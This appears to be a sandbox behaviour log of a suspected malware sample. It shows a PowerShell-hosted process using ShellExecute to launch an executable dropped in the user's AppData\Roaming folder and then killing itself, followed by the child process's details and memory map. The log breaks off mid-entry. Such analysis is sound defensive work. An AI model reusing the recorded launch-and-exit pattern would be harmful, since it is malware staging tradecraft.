	[0112.772] SysStringByteLen (bstr="AddToRecent") returned 0x16
	[0112.772] SysStringByteLen (bstr="AddToRecent") returned 0x16
	[0112.772] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.772] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x28, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.772] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.772] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.772] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.773] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610940416, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Windows Security", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.773] SysStringByteLen (bstr="Windows Security") returned 0x20
	[0112.773] SysStringByteLen (bstr="Windows Security") returned 0x20
	[0112.773] SysStringByteLen (bstr="WindowsSecurity") returned 0x1e
	[0112.773] SysStringByteLen (bstr="WindowsSecurity") returned 0x1e
	[0112.773] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.773] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x29, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.773] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.773] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.773] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.774] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610940417, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Raise/lower the desktop", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.774] SysStringByteLen (bstr="Raise/lower the desktop") returned 0x2e
	[0112.774] SysStringByteLen (bstr="Raise/lower the desktop") returned 0x2e
	[0112.774] SysStringByteLen (bstr="ToggleDesktop") returned 0x1a
	[0112.774] SysStringByteLen (bstr="ToggleDesktop") returned 0x1a
	[0112.774] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.774] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x2a, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.774] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.774] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.774] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.774] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610940418, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Return explorer policy value", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.775] SysStringByteLen (bstr="Return explorer policy value") returned 0x38
	[0112.775] SysStringByteLen (bstr="Return explorer policy value") returned 0x38
	[0112.775] SysStringByteLen (bstr="ExplorerPolicy") returned 0x1c
	[0112.775] SysStringByteLen (bstr="ExplorerPolicy") returned 0x1c
	[0112.775] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.775] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x2b, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.775] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.775] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.775] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.775] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610940419, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Return shell global setting", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.776] SysStringByteLen (bstr="Return shell global setting") returned 0x36
	[0112.776] SysStringByteLen (bstr="Return shell global setting") returned 0x36
	[0112.776] SysStringByteLen (bstr="GetSetting") returned 0x14
	[0112.776] SysStringByteLen (bstr="GetSetting") returned 0x14
	[0112.776] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.776] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x2c, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.776] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.776] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.776] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.776] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1611005952, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Window Switcher", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.776] SysStringByteLen (bstr="Window Switcher") returned 0x1e
	[0112.776] SysStringByteLen (bstr="Window Switcher") returned 0x1e
	[0112.776] SysStringByteLen (bstr="WindowSwitcher") returned 0x1c
	[0112.777] SysStringByteLen (bstr="WindowSwitcher") returned 0x1c
	[0112.777] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.823] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x1f, ppFuncDesc=0x5eaf3a4, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf3a4, pDummy=0x7c6a66d8) returned 0x0
	[0112.824] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.828] CoGetContextToken (in: pToken=0x5eaefe8 | out: pToken=0x5eaefe8) returned 0x0
	[0112.828] IUnknown:AddRef (This=0x601a3a4) returned 0x3
	[0112.828] IUnknown:QueryInterface (in: This=0x601a3a4, riid=0x6f10f5fc*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaf044 | out: ppvObject=0x5eaf044*=0x697b34) returned 0x0
	[0112.829] IUnknown:Release (This=0x601a3a4) returned 0x3
	[0112.829] IDispatch:GetIDsOfNames (in: This=0x697b34, riid=0x6f10f910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x5eaf040*="ShellExecute", cNames=0x1, lcid=0x409, rgDispId=0x5eaf030 | out: rgDispId=0x5eaf030*=1610809345) returned 0x0
	[0112.848] IDispatch:Invoke (in: This=0x697b34, dispIdMember=1610809345, riid=0x6f10f910*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x5eaf110*(rgvarg=([0]=0x5eaf050*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [1]=0x5eaf060*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [2]=0x5eaf070*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [3]=0x5eaf080*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [4]=0x5eaf090*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x5, cNamedArgs=0x0), pVarResult=0x5eaf0dc, pExcepInfo=0x5eaeec8, puArgErr=0x5eaef68 | out: pDispParams=0x5eaf110*(rgvarg=([0]=0x5eaf050*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [1]=0x5eaf060*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [2]=0x5eaf070*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [3]=0x5eaf080*(varType=0xa, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x80020004, varVal2=0x0), [4]=0x5eaf090*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x5, cNamedArgs=0x0), pVarResult=0x5eaf0dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pExcepInfo=0x5eaeec8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x5eaef68*=0x0) returned 0x0
	[0113.042] IUnknown:Release (This=0x697b34) returned 0x2
	[0113.058] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6925c8, nSize=0x80 | out: lpBuffer="") returned 0x0
	[0113.058] GetLastError () returned 0xcb
	[0113.470] EnumProcesses (in: lpidProcess=0x2c51468, cb=0x400, lpcbNeeded=0x5eaf3a0 | out: lpidProcess=0x2c51468, lpcbNeeded=0x5eaf3a0) returned 1
	[0113.474] GetLastError () returned 0x0
	[0113.475] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x39972a8, Length=0x20000, ResultLength=0x5eaf320 | out: SystemInformation=0x39972a8, ResultLength=0x5eaf320*=0x9a20) returned 0x0
	[0113.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaee3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0113.618] GetLastError () returned 0x3
	[0113.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaedec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0113.618] GetLastError () returned 0x3
	[0113.618] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaedec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0113.619] GetLastError () returned 0x3
	[0113.619] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x5eaedec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74
	[0113.619] GetLastError () returned 0x3
	[0113.664] OpenProcess (dwDesiredAccess=0x100400, bInheritHandle=0, dwProcessId=0x960) returned 0x550
	[0113.664] GetLastError () returned 0x3
	[0113.664] GetExitCodeProcess (in: hProcess=0x550, lpExitCode=0x5eaf420 | out: lpExitCode=0x5eaf420*=0x103) returned 1
	[0113.664] GetLastError () returned 0x3
	[0113.664] GetCurrentProcess () returned 0xffffffff
	[0113.664] GetLastError () returned 0x3
	[0113.664] GetCurrentProcess () returned 0xffffffff
	[0113.664] GetLastError () returned 0x3
	[0113.667] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x550, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5eaf38c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x5eaf38c*=0x54c) returned 1
	[0113.667] GetLastError () returned 0x3
	[0113.667] CloseHandle (hObject=0x54c) returned 1
	[0113.667] GetLastError () returned 0x3
	[0113.667] CloseHandle (hObject=0x550) returned 1
	[0113.667] GetLastError () returned 0x3
	[0113.667] GetCurrentProcessId () returned 0x960
	[0113.667] GetCurrentProcessId () returned 0x960
	[0113.667] OpenProcess (dwDesiredAccess=0x100400, bInheritHandle=0, dwProcessId=0x960) returned 0x550
	[0113.667] GetLastError () returned 0x3
	[0113.667] GetExitCodeProcess (in: hProcess=0x550, lpExitCode=0x5eaf46c | out: lpExitCode=0x5eaf46c*=0x103) returned 1
	[0113.668] GetLastError () returned 0x3
	[0113.668] GetCurrentProcess () returned 0xffffffff
	[0113.668] GetLastError () returned 0x3
	[0113.668] GetCurrentProcess () returned 0xffffffff
	[0113.668] GetLastError () returned 0x3
	[0113.668] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x550, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5eaf3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x5eaf3d8*=0x54c) returned 1
	[0113.668] GetLastError () returned 0x3
	[0113.668] CloseHandle (hObject=0x54c) returned 1
	[0113.668] GetLastError () returned 0x3
	[0113.668] CloseHandle (hObject=0x550) returned 1
	[0113.668] GetLastError () returned 0x3
	[0113.668] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0x960) returned 0x550
	[0113.668] GetLastError () returned 0x3
	[0113.669] TerminateProcess (hProcess=0x550, uExitCode=0xffffffff) 

Thread:
	id = 36
	os_tid = 0x9b0


Thread:
	id = 37
	os_tid = 0x9b4

	[0090.584] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
	[0090.585] ResetEvent (hEvent=0x3c0) returned 1
	[0090.586] GetLastError () returned 0x0

Thread:
	id = 38
	os_tid = 0x9e8


Thread:
	id = 39
	os_tid = 0x9ec


Thread:
	id = 40
	os_tid = 0x9f0


Thread:
	id = 41
	os_tid = 0x9f4


Process:
	id = "3"
	image_name = "aap6.exe"
	filename = "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe"
	page_root = "0x2cfda000"
	os_pid = "0x9f8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x960"
	cmd_line = "\"C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe\" "
	cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\"
	os_username = "XABNCPUWKW\\kFT6uTQW"
	os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ed36" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 817
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 818
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 819
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 820
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 821
	        start_va = 0xd0000
	          end_va = 0x10ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 822
	        start_va = 0x2f0000
	          end_va = 0x3effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002f0000"
	        filename = ""

Region:
	              id = 823
	        start_va = 0x900000
	          end_va = 0x93ffff
	     entry_point = 0x900000
	     region_type = mapped_file
	            name = "aap6.exe"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")

Region:
	              id = 824
	        start_va = 0x77a00000
	          end_va = 0x77ba8fff
	     entry_point = 0x77a00000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 825
	        start_va = 0x77be0000
	          end_va = 0x77d5ffff
	     entry_point = 0x77be0000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 826
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 827
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 828
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 829
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 830
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 831
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 832
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 833
	        start_va = 0x110000
	          end_va = 0x18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 834
	        start_va = 0x74f70000
	          end_va = 0x74f77fff
	     entry_point = 0x74f70000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 835
	        start_va = 0x74f80000
	          end_va = 0x74fdbfff
	     entry_point = 0x74f80000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 836
	        start_va = 0x74fe0000
	          end_va = 0x7501efff
	     entry_point = 0x74fe0000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 837
	        start_va = 0x777e0000
	          end_va = 0x778fefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000777e0000"
	        filename = ""

Region:
	              id = 838
	        start_va = 0x77900000
	          end_va = 0x779f9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077900000"
	        filename = ""

Region:
	              id = 839
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 840
	        start_va = 0x60000
	          end_va = 0xc6fff
	     entry_point = 0x60000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 841
	        start_va = 0x190000
	          end_va = 0x28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 842
	        start_va = 0x74620000
	          end_va = 0x74669fff
	     entry_point = 0x74620000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 843
	        start_va = 0x75e80000
	          end_va = 0x75ec5fff
	     entry_point = 0x75e80000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 844
	        start_va = 0x75fb0000
	          end_va = 0x760bffff
	     entry_point = 0x75fb0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 845
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 846
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 847
	        start_va = 0x480000
	          end_va = 0x48ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000480000"
	        filename = ""

Region:
	              id = 848
	        start_va = 0x5a0000
	          end_va = 0x5affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005a0000"
	        filename = ""

Region:
	              id = 849
	        start_va = 0x5e0000
	          end_va = 0x61ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005e0000"
	        filename = ""

Region:
	              id = 850
	        start_va = 0x75730000
	          end_va = 0x7573bfff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")

Region:
	              id = 851
	        start_va = 0x75740000
	          end_va = 0x7579ffff
	     entry_point = 0x75740000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")

Region:
	              id = 852
	        start_va = 0x759e0000
	          end_va = 0x759f8fff
	     entry_point = 0x759e0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")

Region:
	              id = 853
	        start_va = 0x75dd0000
	          end_va = 0x75e7bfff
	     entry_point = 0x75dd0000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")

Region:
	              id = 854
	        start_va = 0x770d0000
	          end_va = 0x771bffff
	     entry_point = 0x770d0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")

Region:
	              id = 855
	        start_va = 0x77740000
	          end_va = 0x777dffff
	     entry_point = 0x77740000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 856
	        start_va = 0x745a0000
	          end_va = 0x74619fff
	     entry_point = 0x745a0000
	     region_type = mapped_file
	            name = "mscoreei.dll"
	        filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")

Region:
	              id = 857
	        start_va = 0x440000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000440000"
	        filename = ""

Region:
	              id = 858
	        start_va = 0x620000
	          end_va = 0x7a7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000620000"
	        filename = ""

Region:
	              id = 859
	        start_va = 0x757d0000
	          end_va = 0x7586cfff
	     entry_point = 0x757d0000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")

Region:
	              id = 860
	        start_va = 0x75a90000
	          end_va = 0x75aeffff
	     entry_point = 0x75a90000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")

Region:
	              id = 861
	        start_va = 0x75d40000
	          end_va = 0x75dcffff
	     entry_point = 0x75d40000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")

Region:
	              id = 862
	        start_va = 0x76380000
	          end_va = 0x76389fff
	     entry_point = 0x76380000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")

Region:
	              id = 863
	        start_va = 0x771c0000
	          end_va = 0x772bffff
	     entry_point = 0x771c0000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")

Region:
	              id = 864
	        start_va = 0x773c0000
	          end_va = 0x77416fff
	     entry_point = 0x773c0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")

Region:
	              id = 865
	        start_va = 0x77670000
	          end_va = 0x7773bfff
	     entry_point = 0x77670000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")

Region:
	              id = 866
	        start_va = 0x20000
	          end_va = 0x20fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000020000"
	        filename = ""

Region:
	              id = 867
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 868
	        start_va = 0x290000
	          end_va = 0x290fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 869
	        start_va = 0x940000
	          end_va = 0xac0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
